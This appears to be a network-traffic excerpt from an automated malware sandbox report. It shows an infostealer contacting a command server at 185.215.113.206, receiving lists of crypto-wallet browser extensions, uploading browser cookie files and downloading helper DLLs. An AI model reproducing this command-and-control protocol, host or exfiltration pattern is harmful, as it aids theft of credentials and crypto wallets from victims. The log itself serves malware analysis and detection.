Nov 22, 2024 23:06:06.584883928 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Nov 22, 2024 23:06:06.584897995 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Nov 22, 2024 23:06:06.586682081 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDBFBKKJDHJKECBGDAK Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 42 46 42 4b 4b 4a 44 48 4a 4b 45 43 42 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 30 34 66 61 63 32 31 35 63 37 66 39 31 34 39 62 63 30 32 37 39 33 33 34 63 63 65 30 38 61 39 34 36 62 33 38 66 62 35 34 30 39 37 33 61 38 30 33 33 62 36 38 66 37 34 66 39 66 33 35 63 64 30 66 65 38 63 31 34 64 30 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 46 42 4b 4b 4a 44 48 4a 4b 45 43 42 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 46 42 4b 4b 4a 44 48 4a 4b 45 43 42 47 44 41 4b 2d 2d 0d 0a Data Ascii: ------HJDBFBKKJDHJKECBGDAKContent-Disposition: form-data; name="token"a04fac215c7f9149bc0279334cce08a946b38fb540973a8033b68f74f9f35cd0fe8c14d0------HJDBFBKKJDHJKECBGDAKContent-Disposition: form-data; name="message"fplugins------HJDBFBKKJDHJKECBGDAK--
Nov 22, 2024 23:06:07.051812887 CET	335	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:06 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 22, 2024 23:06:07.083561897 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKKEBKJJDGHCBGCAAKEH Host: 185.215.113.206 Content-Length: 8035 Connection: Keep-Alive Cache-Control: no-cache
Nov 22, 2024 23:06:07.083725929 CET	8035	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 30 34 66 61 63 Data Ascii: ------KKKEBKJJDGHCBGCAAKEHContent-Disposition: form-data; name="token"a04fac215c7f9149bc0279334cce08a946b38fb540973a8033b68f74f9f35cd0fe8c14d0------KKKEBKJJDGHCBGCAAKEHContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 22, 2024 23:06:08.054668903 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 22, 2024 23:06:08.327914000 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 22, 2024 23:06:08.764902115 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:08 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 22, 2024 23:06:08.765177011 CET	124	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 22, 2024 23:06:08.767085075 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 23:06:08.767426014 CET	1236	IN	Data Raw: 24 08 89 5c 24 04 89 34 24 e8 ac f6 0a 00 83 ec 0c 85 c0 89 c5 75 23 83 fb 01 75 a1 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 ea fc ff ff 83 ec 0c eb 8a 90 8d 74 26 00 83 fb 01 75 70 e8 c6 e4 0a 00 89 7c 24 08 c7 44 24 04 01 00 00 00 89 34 Data Ascii: $\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q\|$D$4$*\|$D$4$s\|$D$4$'aT$$tL$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49724	185.215.113.206	80	5640	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 23:06:18.182267904 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEBKJDBAAKJDGCBFHCFC Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 30 34 66 61 63 32 31 35 63 37 66 39 31 34 39 62 63 30 32 37 39 33 33 34 63 63 65 30 38 61 39 34 36 62 33 38 66 62 35 34 30 39 37 33 61 38 30 33 33 62 36 38 66 37 34 66 39 66 33 35 63 64 30 66 65 38 63 31 34 64 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------KEBKJDBAAKJDGCBFHCFCContent-Disposition: form-data; name="token"a04fac215c7f9149bc0279334cce08a946b38fb540973a8033b68f74f9f35cd0fe8c14d0------KEBKJDBAAKJDGCBFHCFCContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------KEBKJDBAAKJDGCBFHCFCContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------KEBKJDBAAKJDGCBFHCFC--
Nov 22, 2024 23:06:20.121778965 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 22, 2024 23:06:20.236957073 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKFBAKFCBFHIJJJJDBFC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 30 34 66 61 63 32 31 35 63 37 66 39 31 34 39 62 63 30 32 37 39 33 33 34 63 63 65 30 38 61 39 34 36 62 33 38 66 62 35 34 30 39 37 33 61 38 30 33 33 62 36 38 66 37 34 66 39 66 33 35 63 64 30 66 65 38 63 31 34 64 30 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BKFBAKFCBFHIJJJJDBFCContent-Disposition: form-data; name="token"a04fac215c7f9149bc0279334cce08a946b38fb540973a8033b68f74f9f35cd0fe8c14d0------BKFBAKFCBFHIJJJJDBFCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BKFBAKFCBFHIJJJJDBFCContent-Disposition: form-data; name="file"------BKFBAKFCBFHIJJJJDBFC--
Nov 22, 2024 23:06:21.195662022 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49762	185.215.113.206	80	5640	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 23:06:27.001153946 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHDHCAAKECFIDHIEBAK Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 22, 2024 23:06:27.001194000 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 30 34 66 61 63 Data Ascii: ------AFHDHCAAKECFIDHIEBAKContent-Disposition: form-data; name="token"a04fac215c7f9149bc0279334cce08a946b38fb540973a8033b68f74f9f35cd0fe8c14d0------AFHDHCAAKECFIDHIEBAKContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 22, 2024 23:06:29.016972065 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 22, 2024 23:06:29.375194073 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJKKFIJKFCAKJJJKJKFI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4b 4b 46 49 4a 4b 46 43 41 4b 4a 4a 4a 4b 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 30 34 66 61 63 32 31 35 63 37 66 39 31 34 39 62 63 30 32 37 39 33 33 34 63 63 65 30 38 61 39 34 36 62 33 38 66 62 35 34 30 39 37 33 61 38 30 33 33 62 36 38 66 37 34 66 39 66 33 35 63 64 30 66 65 38 63 31 34 64 30 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4b 46 49 4a 4b 46 43 41 4b 4a 4a 4a 4b 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4b 46 49 4a 4b 46 43 41 4b 4a 4a 4a 4b 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HJKKFIJKFCAKJJJKJKFIContent-Disposition: form-data; name="token"a04fac215c7f9149bc0279334cce08a946b38fb540973a8033b68f74f9f35cd0fe8c14d0------HJKKFIJKFCAKJJJKJKFIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HJKKFIJKFCAKJJJKJKFIContent-Disposition: form-data; name="file"------HJKKFIJKFCAKJJJKJKFI--
Nov 22, 2024 23:06:30.323489904 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 22, 2024 23:06:30.800606966 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 22, 2024 23:06:31.255861998 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:31 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 22, 2024 23:06:31.255882978 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 22, 2024 23:06:31.255898952 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 22, 2024 23:06:31.255938053 CET	372	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 22, 2024 23:06:31.255990028 CET	1236	IN	Data Raw: 21 d7 b8 05 00 00 00 29 c8 c1 f8 1f f7 d0 8b 55 1c 80 7c 32 f2 01 19 db 09 c3 b8 06 00 00 00 29 c8 c1 f8 1f 80 7c 32 f1 01 f7 d0 19 d2 09 c2 21 da 21 fa b8 07 00 00 00 29 c8 c1 f8 1f f7 d0 8b 4d 1c 80 7c 31 f0 01 19 c9 09 c1 85 ca 74 2f 8b 45 10 Data Ascii: !)U\|2)\|2!!)M\|1t/EU;U]w"1E9t:RVP -:]QsE9uSjPEtSP\M1$^_[]USWVut:}t$FHjS
Nov 22, 2024 23:06:31.256006002 CET	1236	IN	Data Raw: 08 8b 55 18 8b 4d 14 8b 5d 0c 8b 75 08 8b 3e 8b 46 04 39 d8 74 3a 8d 4e 08 8b 56 08 c7 46 08 00 00 00 00 85 ff 89 4d ec 89 55 f0 74 48 8b 48 0c ff 15 00 80 0a 10 6a 01 57 ff d1 83 c4 08 68 0c 01 00 00 6a 00 56 e8 34 fc 07 00 83 c4 0c eb 25 85 ff Data Ascii: UM]u>F9t:NVFMUtHHjWhjV4%tUVPdnFEFEF^Kt=Uuu#t>t FHjWEM1^_[]USWVu>
Nov 22, 2024 23:06:31.256022930 CET	1236	IN	Data Raw: 00 00 8d bd f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 89 b5 ec fe ff ff 56 e8 cf f7 07 00 83 c4 0c bb 00 01 00 00 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 8b 75 0c 56 ff 75 08 57 e8 ac f7 07 00 83 c4 0c 01 f7 29 f3 39 f3 77 e8 53 ff 75 08 57 e8 Data Ascii: hh !Vf.@uVuW)9wSuWT>\>=t%>>fM1^_[]U}th
Nov 22, 2024 23:06:31.256042004 CET	1236	IN	Data Raw: 01 85 c0 89 4d c8 0f 84 ef 01 00 00 89 d1 83 e1 fe 66 0f 6f 05 c0 20 08 10 31 f6 66 0f ef c9 66 0f ef d2 8b 7d 10 8b 5d cc 0f 1f 80 00 00 00 00 89 f0 09 d8 66 0f 6e 34 07 66 0f ef db 66 0f 60 f3 66 0f 61 f3 66 0f 6f f8 66 0f 72 f7 17 66 0f 6f 1d Data Ascii: Mfo 1ff}]fn4ff`fafofrfo f[fpffpffof% fpfpfbfnlff`fafffrf% [fpffpfpffpfbffof fnf`f
Nov 22, 2024 23:06:31.264391899 CET	1236	IN	Data Raw: 8a 34 30 88 34 38 88 14 30 00 d6 0f b6 f6 8a 75 e8 8b 7d e4 8a 54 0f ff 32 14 30 8b 45 dc 88 54 08 ff 8b 45 d8 01 c8 83 c0 01 83 c1 01 83 f8 01 75 ba 8b 45 f0 88 98 00 01 00 00 88 b0 01 01 00 00 31 c0 83 c4 34 5e 5f 5b 5d c3 0f b6 d2 89 55 ec 89 Data Ascii: 40480u}T20ETEuE14^_[]UM1]U}f.MMuEMMU2}E0MEEMLEE0}M1M
Nov 22, 2024 23:06:31.264664888 CET	1236	IN	Data Raw: ff 89 d9 0f a4 f9 08 0f a4 df 08 89 bd 48 ff ff ff 8b 9d 74 ff ff ff 8b 7b 28 89 bd fc fe ff ff 01 f8 8b 7b 2c 89 bd 00 ff ff ff 8b 5d f0 11 fb 8b bd 48 ff ff ff 01 f8 89 45 b8 11 cb 89 5d f0 31 da 31 c6 89 f0 0f a4 d0 10 89 45 a8 0f ac d6 10 89 Data Ascii: Ht{({,]HE]11EuUUuu11UHtF00Qv4,AA8UA<}5[dy!~6_U
Nov 22, 2024 23:06:32.826503038 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 22, 2024 23:06:33.285346985 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:33 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 22, 2024 23:06:34.295178890 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
